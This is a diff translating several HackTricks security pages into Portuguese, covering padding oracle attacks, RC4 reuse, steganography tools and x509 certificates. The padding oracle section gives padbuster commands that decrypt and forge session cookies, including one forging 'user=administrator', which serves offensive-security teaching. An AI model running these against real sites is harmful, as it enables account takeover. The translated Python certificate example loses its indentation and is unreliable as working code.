 {% embed url="https://github.com/iagox86/hash_extender" %}
 
-### References
+### Referências
 
-You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
+Você pode encontrar este ataque bem explicado em [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/padding-oracle-priv.md b/src/crypto-and-stego/padding-oracle-priv.md
index 96d3145a3..9a2cc4134 100644
--- a/src/crypto-and-stego/padding-oracle-priv.md
+++ b/src/crypto-and-stego/padding-oracle-priv.md
@@ -2,26 +2,24 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-{% embed url="https://websec.nl/" %}
-
 ## CBC - Cipher Block Chaining
 
-In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
+No modo CBC, o **bloco criptografado anterior é usado como IV** para XOR com o próximo bloco:
 
 ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
 
-To decrypt CBC the **opposite** **operations** are done:
+Para descriptografar CBC, as **operações** **opostas** são realizadas:
 
 ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
 
-Notice how it's needed to use an **encryption** **key** and an **IV**.
+Observe como é necessário usar uma **chave de criptografia** e um **IV**.
 
 ## Message Padding
 
-As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
-Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
+Como a criptografia é realizada em **blocos** de **tamanho fixo**, o **padding** geralmente é necessário no **último** **bloco** para completar seu comprimento.\
+Normalmente, o **PKCS7** é usado, que gera um padding **repetindo** o **número** de **bytes** **necessários** para **completar** o bloco. Por exemplo, se o último bloco estiver faltando 3 bytes, o padding será `\x03\x03\x03`.
 
-Let's look at more examples with a **2 blocks of length 8bytes**:
+Vamos olhar mais exemplos com **2 blocos de comprimento 8bytes**:
 
 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0  | byte #1  | byte #2  | byte #3  | byte #4  | byte #5  | byte #6  | byte #7  |
 | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
 | P       | A       | S       | S       | W       | O       | R       | D       | 1        | 2        | 3        | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
 | P       | A       | S       | S       | W       | O       | R       | D       | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
 
-Note how in the last example the **last block was full so another one was generated only with padding**.
+Note como no último exemplo o **último bloco estava cheio, então outro foi gerado apenas com padding**.
 
 ## Padding Oracle
 
-When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
+Quando uma aplicação descriptografa dados criptografados, ela primeiro descriptografa os dados; então, remove o padding. Durante a limpeza do padding, se um **padding inválido acionar um comportamento detectável**, você tem uma **vulnerabilidade de padding oracle**. O comportamento detectável pode ser um **erro**, uma **falta de resultados** ou uma **resposta mais lenta**.
 
-If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
+Se você detectar esse comportamento, pode **descriptografar os dados criptografados** e até mesmo **criptografar qualquer texto claro**.
 
 ### How to exploit
 
-You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
-
+Você poderia usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) para explorar esse tipo de vulnerabilidade ou apenas fazer
 ```
 sudo apt-get install padbuster
 ```
-
-In order to test if the cookie of a site is vulnerable you could try:
-
+Para testar se o cookie de um site é vulnerável, você pode tentar:
 ```bash
 perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
 ```
+**Encoding 0** significa que **base64** é usado (mas outros estão disponíveis, verifique o menu de ajuda).
 
-**Encoding 0** means that **base64** is used (but others are available, check the help menu).
-
-You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
-
+Você também poderia **abusar dessa vulnerabilidade para criptografar novos dados. Por exemplo, imagine que o conteúdo do cookie é "**_**user=MyUsername**_**", então você pode alterá-lo para "\_user=administrator\_" e escalar privilégios dentro da aplicação. Você também poderia fazer isso usando `paduster` especificando o parâmetro -plaintext**:
 ```bash
 perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
 ```
-
-If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
-
+Se o site for vulnerável, `padbuster` tentará automaticamente descobrir quando o erro de padding ocorre, mas você também pode indicar a mensagem de erro usando o parâmetro **-error**.
 ```bash
 perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
 ```
+### A teoria
 
-### The theory
-
-In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
+Em **resumo**, você pode começar a descriptografar os dados criptografados adivinhando os valores corretos que podem ser usados para criar todos os **diferentes preenchimentos**. Então, o ataque de padding oracle começará a descriptografar bytes do final para o início, adivinhando qual será o valor correto que **cria um preenchimento de 1, 2, 3, etc**.
 
 ![](<../images/image (561).png>)
 
-Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
-In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
-Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
+Imagine que você tem algum texto criptografado que ocupa **2 blocos** formados pelos bytes de **E0 a E15**.\
+Para **descriptografar** o **último** **bloco** (**E8** a **E15**), todo o bloco passa pela "descriptografia de bloco" gerando os **bytes intermediários I0 a I15**.\
+Finalmente, cada byte intermediário é **XORed** com os bytes criptografados anteriores (E0 a E7). Então:
 
 - `C15 = D(E15) ^ E7 = I15 ^ E7`
 - `C14 = I14 ^ E6`
@@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
 - `C12 = I12 ^ E4`
 - ...
 
-Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
+Agora, é possível **modificar `E7` até que `C15` seja `0x01`**, o que também será um preenchimento correto. Então, neste caso: `\x01 = I15 ^ E'7`
 
-So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
+Assim, encontrando E'7, é **possível calcular I15**: `I15 = 0x01 ^ E'7`
 
-Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
+O que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
 
-Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
+Sabendo **C15**, agora é possível **calcular C14**, mas desta vez forçando o preenchimento `\x02\x02`.
 
-This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
-Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
+Esse BF é tão complexo quanto o anterior, pois é possível calcular o `E''15` cujo valor é 0x02: `E''7 = \x02 ^ I15`, então só é necessário encontrar o **`E'14`** que gera um **`C14` igual a `0x02`**.\
+Então, siga os mesmos passos para descriptografar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
 
-**Follow this chain until you decrypt the whole encrypted text.**
+**Siga essa cadeia até que você descriptografe todo o texto criptografado.**
 
-### Detection of the vulnerability
+### Detecção da vulnerabilidade
 
-Register and account and log in with this account .\
-If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
+Registre uma conta e faça login com essa conta.\
+Se você **fizer login muitas vezes** e sempre receber o **mesmo cookie**, provavelmente há **algo** **errado** na aplicação. O **cookie enviado de volta deve ser único** cada vez que você faz login. Se o cookie é **sempre** o **mesmo**, provavelmente sempre será válido e não **haverá como invalidá-lo**.
 
-Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
-But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
+Agora, se você tentar **modificar** o **cookie**, você pode ver que recebe um **erro** da aplicação.\
+Mas se você BF o preenchimento (usando padbuster, por exemplo), você consegue obter outro cookie válido para um usuário diferente. Esse cenário é altamente provável de ser vulnerável ao padbuster.
 
-### References
+### Referências
 
 - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
 
-{% embed url="https://websec.nl/" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
index dc89fa296..9b0f7353d 100644
--- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
+++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
@@ -1,8 +1,8 @@
 {{#include ../banners/hacktricks-training.md}}
 
-If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
+Se você puder de alguma forma criptografar um texto simples usando RC4, poderá descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia.
 
-If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
+Se você puder criptografar um texto simples conhecido, também poderá extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos:
 
 {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
 
diff --git a/src/crypto-and-stego/stego-tricks.md b/src/crypto-and-stego/stego-tricks.md
index 91ed86406..15502ed08 100644
--- a/src/crypto-and-stego/stego-tricks.md
+++ b/src/crypto-and-stego/stego-tricks.md
@@ -2,50 +2,41 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## **Extracting Data from Files**
+## **Extraindo Dados de Arquivos**
 
 ### **Binwalk**
 
-A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk).
-
+Uma ferramenta para procurar arquivos binários em busca de arquivos e dados ocultos incorporados. É instalada via `apt` e seu código-fonte está disponível no [GitHub](https://github.com/ReFirmLabs/binwalk).
 ```bash
 binwalk file # Displays the embedded data
 binwalk -e file # Extracts the data
 binwalk --dd ".*" file # Extracts all data
 ```
-
 ### **Foremost**
 
-Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost).
-
+Recupera arquivos com base em seus cabeçalhos e rodapés, útil para imagens png. Instalado via `apt` com sua fonte no [GitHub](https://github.com/korczis/foremost).
 ```bash
 foremost -i file # Extracts data
 ```
-
 ### **Exiftool**
 
-Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
-
+Ajuda a visualizar os metadados do arquivo, disponível [aqui](https://www.sno.phy.queensu.ca/~phil/exiftool/).
 ```bash
 exiftool file # Shows the metadata
 ```
-
 ### **Exiv2**
 
-Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
-
+Semelhante ao exiftool, para visualização de metadados. Instalável via `apt`, código-fonte no [GitHub](https://github.com/Exiv2/exiv2), e possui um [site oficial](http://www.exiv2.org/).
 ```bash
 exiv2 file # Shows the metadata
 ```
+### **Arquivo**
 
-### **File**
-
-Identify the type of file you're dealing with.
+Identifique o tipo de arquivo com o qual você está lidando.
 
 ### **Strings**
 
-Extracts readable strings from files, using various encoding settings to filter the output.
-
+Extrai strings legíveis de arquivos, usando várias configurações de codificação para filtrar a saída.
 ```bash
 strings -n 6 file # Extracts strings with a minimum length of 6
 strings -n 6 file | head -n 20 # First 20 strings
@@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian)
 strings -e L -n 6 file # 32bit strings (little-endian)
 strings -e B -n 6 file # 32bit strings (big-endian)
 ```
+### **Comparação (cmp)**
 
-### **Comparison (cmp)**
-
-Useful for comparing a modified file with its original version found online.
-
+Útil para comparar um arquivo modificado com sua versão original encontrada online.
 ```bash
 cmp original.jpg stego.jpg -b -l
 ```
+## **Extraindo Dados Ocultos em Texto**
 
-## **Extracting Hidden Data in Text**
+### **Dados Ocultos em Espaços**
 
-### **Hidden Data in Spaces**
+Caracteres invisíveis em espaços aparentemente vazios podem esconder informações. Para extrair esses dados, visite [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
 
-Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
+## **Extraindo Dados de Imagens**
 
-## **Extracting Data from Images**
-
-### **Identifying Image Details with GraphicMagick**
-
-[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
+### **Identificando Detalhes da Imagem com GraphicMagick**
 
+[GraphicMagick](https://imagemagick.org/script/download.php) serve para determinar tipos de arquivos de imagem e identificar possíveis corrupções. Execute o comando abaixo para inspecionar uma imagem:
 ```bash
 ./magick identify -verbose stego.jpg
 ```
-
-To attempt repair on a damaged image, adding a metadata comment might help:
-
+Para tentar reparar uma imagem danificada, adicionar um comentário de metadados pode ajudar:
 ```bash
 ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
 ```
+### **Steghide para Ocultação de Dados**
 
-### **Steghide for Data Concealment**
+Steghide facilita a ocultação de dados dentro de arquivos `JPEG, BMP, WAV e AU`, capaz de embutir e extrair dados criptografados. A instalação é simples usando `apt`, e seu [código-fonte está disponível no GitHub](https://github.com/StefanoDeVuono/steghide).
 
-Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide).
+**Comandos:**
 
-**Commands:**
+- `steghide info file` revela se um arquivo contém dados ocultos.
+- `steghide extract -sf file [--passphrase password]` extrai os dados ocultos, senha opcional.
 
-- `steghide info file` reveals if a file contains hidden data.
-- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
+Para extração baseada na web, visite [este site](https://futureboy.us/stegano/decinput.html).
 
-For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html).
-
-**Bruteforce Attack with Stegcracker:**
-
-- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
+**Ataque de Bruteforce com Stegcracker:**
 
+- Para tentar quebrar a senha no Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) da seguinte forma:
 ```bash
 stegcracker  []
 ```
+### **zsteg para Arquivos PNG e BMP**
 
-### **zsteg for PNG and BMP Files**
+zsteg se especializa em descobrir dados ocultos em arquivos PNG e BMP. A instalação é feita via `gem install zsteg`, com sua [fonte no GitHub](https://github.com/zed-0xff/zsteg).
 
-zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg).
+**Comandos:**
 
-**Commands:**
+- `zsteg -a arquivo` aplica todos os métodos de detecção em um arquivo.
+- `zsteg -E arquivo` especifica um payload para extração de dados.
 
-- `zsteg -a file` applies all detection methods on a file.
-- `zsteg -E file` specifies a payload for data extraction.
+### **StegoVeritas e Stegsolve**
 
-### **StegoVeritas and Stegsolve**
+**stegoVeritas** verifica metadados, realiza transformações de imagem e aplica força bruta LSB, entre outros recursos. Use `stegoveritas.py -h` para uma lista completa de opções e `stegoveritas.py stego.jpg` para executar todas as verificações.
 
-**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks.
+**Stegsolve** aplica vários filtros de cor para revelar textos ou mensagens ocultas dentro de imagens. Está disponível no [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
 
-**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
+### **FFT para Detecção de Conteúdo Oculto**
 
-### **FFT for Hidden Content Detection**
-
-Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
+Técnicas de Transformada Rápida de Fourier (FFT) podem revelar conteúdo oculto em imagens. Recursos úteis incluem:
 
 - [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
 - [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
-- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
+- [FFTStegPic no GitHub](https://github.com/0xcomposure/FFTStegPic)
 
-### **Stegpy for Audio and Image Files**
+### **Stegpy para Arquivos de Áudio e Imagem**
 
-Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy).
+Stegpy permite embutir informações em arquivos de imagem e áudio, suportando formatos como PNG, BMP, GIF, WebP e WAV. Está disponível no [GitHub](https://github.com/dhsdshdhk/stegpy).
 
-### **Pngcheck for PNG File Analysis**
-
-To analyze PNG files or to validate their authenticity, use:
+### **Pngcheck para Análise de Arquivos PNG**
 
+Para analisar arquivos PNG ou validar sua autenticidade, use:
 ```bash
 apt-get install pngcheck
 pngcheck stego.png
 ```
+### **Ferramentas Adicionais para Análise de Imagens**
 
-### **Additional Tools for Image Analysis**
-
-For further exploration, consider visiting:
+Para uma exploração adicional, considere visitar:
 
 - [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
 - [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
@@ -153,66 +133,60 @@ For further exploration, consider visiting:
 - [OpenStego](https://www.openstego.com/)
 - [DIIT](https://diit.sourceforge.net/)
 
-## **Extracting Data from Audios**
+## **Extraindo Dados de Áudios**
 
-**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content.
+**Esteganografia de áudio** oferece um método único para ocultar informações dentro de arquivos de som. Diferentes ferramentas são utilizadas para embutir ou recuperar conteúdo oculto.
 
 ### **Steghide (JPEG, BMP, WAV, AU)**
 
-Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide).
+Steghide é uma ferramenta versátil projetada para esconder dados em arquivos JPEG, BMP, WAV e AU. Instruções detalhadas estão disponíveis na [documentação de truques de esteganografia](stego-tricks.md#steghide).
 
 ### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
 
-This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
+Esta ferramenta é compatível com uma variedade de formatos, incluindo PNG, BMP, GIF, WebP e WAV. Para mais informações, consulte a [seção do Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
 
 ### **ffmpeg**
 
-ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies.
-
+ffmpeg é crucial para avaliar a integridade dos arquivos de áudio, destacando informações detalhadas e identificando quaisquer discrepâncias.
 ```bash
 ffmpeg -v info -i stego.mp3 -f null -
 ```
-
 ### **WavSteg (WAV)**
 
-WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include:
-
+WavSteg se destaca em ocultar e extrair dados dentro de arquivos WAV usando a estratégia do bit menos significativo. Está disponível no [GitHub](https://github.com/ragibson/Steganography#WavSteg). Os comandos incluem:
 ```bash
 python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
 
 python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
 ```
-
 ### **Deepsound**
 
-Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
+Deepsound permite a criptografia e detecção de informações dentro de arquivos de som usando AES-256. Pode ser baixado da [página oficial](http://jpinsoft.net/deepsound/download.aspx).
 
 ### **Sonic Visualizer**
 
-An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
+Uma ferramenta inestimável para inspeção visual e analítica de arquivos de áudio, Sonic Visualizer pode revelar elementos ocultos indetectáveis por outros meios. Visite o [site oficial](https://www.sonicvisualiser.org/) para mais informações.
 
 ### **DTMF Tones - Dial Tones**
 
-Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
+Detectar tons DTMF em arquivos de áudio pode ser alcançado através de ferramentas online como [este detector DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
 
-## **Other Techniques**
+## **Outras Técnicas**
 
 ### **Binary Length SQRT - QR Code**
 
-Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
-
+Dados binários que se elevam ao quadrado para um número inteiro podem representar um código QR. Use este trecho para verificar:
 ```python
 import math
 math.sqrt(2500) #50
 ```
+Para conversão de binário para imagem, verifique [dcode](https://www.dcode.fr/binary-image). Para ler códigos QR, use [este leitor de código de barras online](https://online-barcode-reader.inliteresearch.com/).
 
-For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
+### **Tradução em Braille**
 
-### **Braille Translation**
+Para traduzir Braille, o [Branah Braille Translator](https://www.branah.com/braille-translator) é um excelente recurso.
 
-For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
-
-## **References**
+## **Referências**
 
 - [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
 - [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md
index 622b48c61..c1b952e0c 100644
--- a/src/cryptography/certificates.md
+++ b/src/cryptography/certificates.md
@@ -1,47 +1,38 @@
-# Certificates
+# Certificados
 
 {{#include ../banners/hacktricks-training.md}}
 
-

+## O que é um Certificado
 
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+Um **certificado de chave pública** é uma ID digital usada em criptografia para provar que alguém possui uma chave pública. Ele inclui os detalhes da chave, a identidade do proprietário (o sujeito) e uma assinatura digital de uma autoridade confiável (o emissor). Se o software confia no emissor e a assinatura é válida, a comunicação segura com o proprietário da chave é possível.
 
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+Os certificados são emitidos principalmente por [autoridades certificadoras](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) em uma [infraestrutura de chave pública](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Outro método é a [teia de confiança](https://en.wikipedia.org/wiki/Web_of_trust), onde os usuários verificam diretamente as chaves uns dos outros. O formato comum para certificados é [X.509](https://en.wikipedia.org/wiki/X.509), que pode ser adaptado para necessidades específicas conforme descrito no RFC 5280.
 
-## What is a Certificate
+## Campos Comuns x509
 
-A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
+### **Campos Comuns em Certificados x509**
 
-Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
+Em certificados x509, vários **campos** desempenham papéis críticos na garantia da validade e segurança do certificado. Aqui está uma análise desses campos:
 
-## x509 Common Fields
+- **Número da Versão** significa a versão do formato x509.
+- **Número de Série** identifica exclusivamente o certificado dentro do sistema de uma Autoridade Certificadora (CA), principalmente para rastreamento de revogação.
+- O campo **Sujeito** representa o proprietário do certificado, que pode ser uma máquina, um indivíduo ou uma organização. Inclui identificação detalhada, como:
+- **Nome Comum (CN)**: Domínios cobertos pelo certificado.
+- **País (C)**, **Localidade (L)**, **Estado ou Província (ST, S ou P)**, **Organização (O)** e **Unidade Organizacional (OU)** fornecem detalhes geográficos e organizacionais.
+- **Nome Distinto (DN)** encapsula a identificação completa do sujeito.
+- **Emissor** detalha quem verificou e assinou o certificado, incluindo subcampos semelhantes ao Sujeito para a CA.
+- O **Período de Validade** é marcado por timestamps **Não Antes** e **Não Depois**, garantindo que o certificado não seja usado antes ou depois de uma certa data.
+- A seção **Chave Pública**, crucial para a segurança do certificado, especifica o algoritmo, tamanho e outros detalhes técnicos da chave pública.
+- As **extensões x509v3** aprimoram a funcionalidade do certificado, especificando **Uso de Chave**, **Uso de Chave Estendida**, **Nome Alternativo do Sujeito** e outras propriedades para ajustar a aplicação do certificado.
 
-### **Common Fields in x509 Certificates**
-
-In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
-
-- **Version Number** signifies the x509 format's version.
-- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
-- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
-  - **Common Name (CN)**: Domains covered by the certificate.
-  - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
-  - **Distinguished Name (DN)** encapsulates the full subject identification.
-- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
-- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
-- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
-- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
-
-#### **Key Usage and Extensions**
-
-- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
-- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
-- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
-- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
-- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
-- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
+#### **Uso de Chave e Extensões**
 
+- **Uso de Chave** identifica aplicações criptográficas da chave pública, como assinatura digital ou criptografia de chave.
+- **Uso de Chave Estendida** restringe ainda mais os casos de uso do certificado, por exemplo, para autenticação de servidor TLS.
+- **Nome Alternativo do Sujeito** e **Restrição Básica** definem nomes de host adicionais cobertos pelo certificado e se é um certificado CA ou de entidade final, respectivamente.
+- Identificadores como **Identificador de Chave do Sujeito** e **Identificador de Chave da Autoridade** garantem a exclusividade e rastreabilidade das chaves.
+- **Acesso à Informação da Autoridade** e **Pontos de Distribuição de CRL** fornecem caminhos para verificar a CA emissora e checar o status de revogação do certificado.
+- **SCTs de Pré-certificado CT** oferecem logs de transparência, cruciais para a confiança pública no certificado.
 ```python
 # Example of accessing and using x509 certificate fields programmatically:
 from cryptography import x509
@@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
 
 # Load an x509 certificate (assuming cert.pem is a certificate file)
 with open("cert.pem", "rb") as file:
-    cert_data = file.read()
-    certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
+cert_data = file.read()
+certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
 
 # Accessing fields
 serial_number = certificate.serial_number
@@ -63,133 +54,104 @@ print(f"Issuer: {issuer}")
 print(f"Subject: {subject}")
 print(f"Public Key: {public_key}")
 ```
+### **Diferença entre OCSP e Pontos de Distribuição CRL**
 
